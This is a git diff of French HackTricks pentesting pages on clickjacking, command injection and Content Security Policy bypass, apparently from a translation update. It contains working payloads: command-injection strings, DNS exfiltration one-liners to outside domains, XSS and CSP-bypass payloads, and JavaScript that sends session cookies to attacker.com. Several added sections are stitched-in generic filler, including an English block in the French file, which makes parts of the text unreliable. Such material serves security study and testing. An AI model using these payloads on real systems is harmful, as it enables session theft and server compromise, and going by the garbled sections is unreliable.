\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -26,10 +26,9 @@ Accédez dès aujourd'hui : Dans une attaque de clickjacking, un **utilisateur** est **trompé** pour **cliquer** sur un **élément** d'une page web qui est soit **invisible** soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non intentionnelles pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture d'identifiants ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits. - ### Astuce de préremplissage de formulaires -Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre. +Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre. ### Remplir un formulaire avec le glisser-déposer @@ -80,6 +79,18 @@ left:210px; ``` ### Payload Drag\&Drop + Clic + +#### English +```markdown +1. Drag the draggable element to the drop zone. +2. Click the button. +``` + +#### French +```markdown +1. Faites glisser l'élément draggable vers la zone de dépôt. +2. Cliquez sur le bouton. +``` ```markup @@ -113,23 +124,23 @@ background: #F00; Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien. Exemple : _Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._ -\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'utilisateur pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**. +__Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'utilisateur pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**. -## Stratégies pour Mitiger le Clickjacking +## Stratégies pour atténuer le Clickjacking -### Défenses Côté Client +### Défenses côté client Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking : * S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure. * Rendre tous les cadres visibles. * Empêcher les clics sur les cadres invisibles. -* Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking. +* Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking. Cependant, ces scripts de rupture de cadre peuvent être contournés : -* **Paramètres de Sécurité des Navigateurs :** Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de prise en charge de JavaScript. -* **Attribut HTML5 iframe `sandbox` :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple. +* **Paramètres de sécurité des navigateurs :** Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de prise en charge de JavaScript. +* **Attribut `sandbox` de l'iframe HTML5 :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple. ```html ``` @@ -143,18 +154,18 @@ L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la - `X-Frame-Options: deny` - Aucun domaine ne peut encadrer le contenu. - `X-Frame-Options: sameorigin` - Seul le site actuel peut encadrer le contenu. -- `X-Frame-Options: allow-from https://trusted.com` - Seul l'URI spécifié peut encadrer la page. +- `X-Frame-Options: allow-from https://trusted.com` - Seule l'URL spécifiée peut encadrer la page. - Notez les limitations : si le navigateur ne prend pas en charge cette directive, cela pourrait ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors. #### Directive frame-ancestors de la politique de sécurité du contenu (CSP) -La **directive `frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking : +La directive **`frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking : - `frame-ancestors 'none'` - Similaire à `X-Frame-Options: deny`. - `frame-ancestors 'self'` - Similaire à `X-Frame-Options: sameorigin`. - `frame-ancestors trusted.com` - Similaire à `X-Frame-Options: allow-from`. -Par exemple, la CSP suivante n'autorise le cadrage que depuis le même domaine : +Par exemple, la CSP suivante autorise uniquement l'encadrement à partir du même domaine : `Content-Security-Policy: frame-ancestors 'self';` @@ -165,6 +176,7 @@ Des détails supplémentaires et des exemples complexes peuvent être trouvés d La **Politique de sécurité du contenu (CSP)** est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant les sources que le navigateur devrait autoriser à charger du contenu. #### Directive `frame-src` + - Définit les sources valides pour les frames. - Plus spécifique que la directive `default-src`. ``` @@ -173,21 +185,23 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; Ce paramètre autorise les frames de la même origine (self) et https://trusted-website.com. #### Directive `child-src` -- Introduit dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames. -- Agit comme une solution de secours pour frame-src et worker-src. + +* Introduit dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames. +* Agit comme une solution de secours pour frame-src et worker-src. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` -Cette politique permet les frames et les workers de la même origine (self) et de https://trusted-website.com. +Ce paramètre autorise les frames et les workers de la même origine (self) et de https://trusted-website.com. -**Notes d'utilisation :** -- Obsolescence : child-src est progressivement remplacé par frame-src et worker-src. -- Comportement de secours : Si frame-src est absent, child-src est utilisé comme secours pour les frames. Si les deux sont absents, default-src est utilisé. -- Définition stricte de la source : Inclure uniquement des sources de confiance dans les directives pour éviter l'exploitation. +**Remarques d'utilisation:** + +* Obsolescence: child-src est progressivement remplacé par frame-src et worker-src. +* Comportement de secours: Si frame-src est absent, child-src est utilisé comme secours pour les frames. Si les deux sont absents, default-src est utilisé. +* Définition stricte de la source: Inclure uniquement des sources de confiance dans les directives pour éviter toute exploitation. #### Scripts JavaScript de rupture de frame -Bien que pas totalement infaillibles, des scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple : +Bien que pas totalement infaillibles, des scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple: ```javascript if (top !== self) { top.location = self.location; @@ -195,14 +209,14 @@ top.location = self.location; ``` #### Utilisation des jetons anti-CSRF -* **Validation des jetons :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked. +* **Validation du jeton :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked. ## Références * [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) * [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -219,7 +233,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/command-injection.md b/pentesting-web/command-injection.md index 2f266346e..f6345d972 100644 --- a/pentesting-web/command-injection.md +++ b/pentesting-web/command-injection.md @@ -1,4 +1,4 @@ -# Injection de commandes +# Injection de Commande
@@ -9,27 +9,27 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Qu'est-ce que l'injection de commandes ? +## Qu'est-ce que l'injection de commande ? -Une **injection de commandes** permet l'exécution de commandes système arbitraires par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent. +Une **injection de commande** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent. ### Contexte -En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. +En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes. -## Injection/Exécution de commandes +## Injection/Exécution de Commande ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -48,9 +48,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Contournement des limitations** +### **Contournement des Limitations** -Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **contournements :** +Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **Contournements :** {% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) @@ -118,12 +118,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Les outils en ligne pour vérifier l'exfiltration de données basée sur le DNS : - -* dnsbin.zhack.ca -* pingb.in - -### Contournement du filtrage +### Contournement de filtrage #### Windows ``` @@ -154,12 +149,12 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 64b115d75..2c8995ea9 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs ! **Perspectives de piratage**\ Engagez-vous avec du contenu qui explore le frisson et les défis du piratage @@ -66,7 +66,7 @@ object-src 'none'; ``` ### Directives -* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. +* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne, et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. * **default-src**: Définit une politique par défaut pour récupérer des ressources lorsque des directives de récupération spécifiques sont absentes. * **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés. * **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest. @@ -94,10 +94,10 @@ object-src 'none'; * `'data'`: Autorise le chargement de ressources via le schéma de données (par exemple, images encodées en Base64). * `'none'`: Bloque le chargement depuis n'importe quelle source. * `'unsafe-eval'`: Autorise l'utilisation de `eval()` et des méthodes similaires, non recommandé pour des raisons de sécurité. -* `'unsafe-hashes'`: Autorise des gestionnaires d'événements en ligne spécifiques. +* `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques. * `'unsafe-inline'`: Autorise l'utilisation de ressources en ligne comme les `` +Charge utile de travail : `"/>` #### self + 'unsafe-inline' via Iframes @@ -142,7 +142,7 @@ Working payload: `"/>` ```yaml Content-Security-Policy: script-src https://google.com 'unsafe-eval'; ``` -Payload de travail : +Payload de travail: ```html ``` @@ -154,12 +154,12 @@ Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS ```yaml Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` -Payload de travail : +Payload fonctionnel : ```markup "/>'> "/>'> ``` -### Manque de object-src et default-src +### Absence de object-src et default-src {% hint style="danger" %} **Il semble que cela ne fonctionne plus** @@ -185,7 +185,7 @@ Charge utile fonctionnelle : ``` Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**. -De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME tel que audio/\***. +De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***. À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)). @@ -246,6 +246,16 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep {{[].erase.call().alert('xss')}} ``` +## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular XSS : + +--- + +Le nom de classe d'un élément Angular peut être utilisé pour contourner la politique de sécurité du contenu (CSP) et exécuter une attaque XSS. +```html +
+aaa +
+``` #### Abus du code JS de Google reCAPTCHA Selon [**ce compte rendu de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'une CSP pour exécuter du code JS arbitraire en contournant la CSP : @@ -278,7 +288,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'> ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Les scénarios comme celui où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail: +Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail: ```markup "> "> @@ -296,7 +306,7 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont : -| Entité | Domaine Autorisé | Capacités | +| Entité | Domaine autorisé | Capacités | | ----------------- | -------------------------------------------- | ------------ | | Facebook | www.facebook.com, \*.facebook.com | Exfil | | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | @@ -317,16 +327,19 @@ Content-Security-Policy​: default-src 'self’ www.facebook.com;​ --- -## Contournement de la CSP basique +## Introduction -La CSP basique peut être contournée de différentes manières, notamment en exploitant des vulnérabilités telles que les injections de scripts, les attaques de type XSS, les attaques de type CSRF, etc. Voici quelques techniques courantes pour contourner la CSP : +Dans ce guide, nous allons discuter des différentes techniques de contournement de la Politique de Sécurité du Contenu (CSP) sur les sites web. -- **Utilisation de scripts internes** : Si le site autorise l'exécution de scripts internes, il est possible d'insérer du code malveillant directement dans le code source de la page. -- **Utilisation de scripts inline** : Les scripts inline peuvent contourner la CSP en étant directement inclus dans les balises HTML. -- **Utilisation de l'entête unsafe-inline** : L'entête `unsafe-inline` peut être utilisé pour autoriser l'exécution de scripts inline, contournant ainsi la CSP. -- **Utilisation de l'entête unsafe-eval** : L'entête `unsafe-eval` peut être utilisé pour autoriser l'évaluation de code JavaScript dynamique, contournant ainsi la CSP. +## Qu'est-ce que la CSP ? -Il est important de noter que ces techniques peuvent présenter des risques de sécurité et ne doivent être utilisées qu'à des fins éducatives ou de test autorisées. +La Politique de Sécurité du Contenu (CSP) est un mécanisme de sécurité qui aide à prévenir les attaques de type XSS (Cross-Site Scripting) en spécifiant les sources légitimes des ressources qui peuvent être chargées par un site web. Cela permet de réduire les risques liés à l'exécution de scripts malveillants. + +## Bypass de la CSP + +Il existe plusieurs façons de contourner une CSP, notamment en exploitant des vulnérabilités telles que les injections de scripts, les redirections, les contournements basés sur les navigateurs, etc. + +Dans les sections suivantes, nous explorerons en détail certaines de ces techniques de contournement de la CSP. ``` Content-Security-Policy​: connect-src www.facebook.com;​ ``` @@ -358,7 +371,7 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP. -Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`. +Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`. En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**. @@ -366,7 +379,7 @@ La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une i Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) -### Exécution de JS via des iframes +### Exécution de JS dans les iframes {% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md) @@ -374,10 +387,10 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js ### **base-uri** manquant -Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/). +Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/). -De plus, si la **page charge un script en utilisant un chemin relatif** (comme `` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ +Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne le CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\ Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Contournements de l'exfiltration CSP -S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer l'information. +S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations. ### Location -Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes: +Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes : ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; @@ -678,15 +691,31 @@ var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` -### Contourner la politique de sécurité du contenu (CSP) +## Bypassing Content Security Policy (CSP) -Dans certains cas, il peut être possible de contourner une CSP en utilisant des techniques telles que l'inclusion de scripts à partir de sources autorisées ou en exploitant des vulnérabilités spécifiques. Voici quelques méthodes courantes pour contourner une CSP : +### Introduction -1. **Inclusion de scripts à partir de sources autorisées** : Si un site autorise l'inclusion de scripts à partir de sources spécifiques, il est possible d'utiliser ces sources pour exécuter du code malveillant. - -2. **Exploitation de vulnérabilités spécifiques** : Certaines vulnérabilités, telles que les injections de code, peuvent être exploitées pour contourner une CSP et exécuter du code non autorisé. +In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application. -Il est important de noter que contourner une CSP est une pratique risquée et peut avoir des conséquences graves. Il est recommandé de toujours respecter les politiques de sécurité en place et de signaler toute vulnérabilité découverte de manière responsable. +### What is Content Security Policy (CSP)? + +Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which the browser can load resources for a specific web page. If an attacker tries to load resources from unauthorized sources, CSP will block those requests. + +### Bypassing CSP using Unrestricted Directives + +Some CSP directives, such as `unsafe-inline` and `unsafe-eval`, can weaken the security provided by CSP. By allowing these directives in the CSP header, an attacker can bypass certain restrictions imposed by CSP. + +### Bypassing CSP using Data URI + +Data URI can be used to embed external resources directly within a web page. By using data URI, an attacker can bypass CSP restrictions by embedding malicious code within the web page itself. + +### Bypassing CSP using Trusted Endpoints + +If a web application allows loading resources from trusted endpoints, an attacker can host malicious code on those trusted endpoints and bypass CSP restrictions. + +### Conclusion + +Content Security Policy (CSP) is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is important to understand the potential bypass techniques in order to effectively secure web applications against CSP bypass vulnerabilities. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; @@ -711,7 +740,7 @@ En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Co ``` ### Autre option : -Le contenu de ce fichier est protégé par un mot de passe. Entrez le mot de passe pour afficher le contenu. +Le contenu de ce fichier est protégé par un mot de passe. Veuillez entrer le mot de passe pour afficher le contenu. ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -746,13 +775,13 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! **Perspectives sur le piratage**\ Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage **Actualités sur le piratage en temps réel**\ -Restez informé du monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel +Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 75ae230a7..d32ab7b73 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS 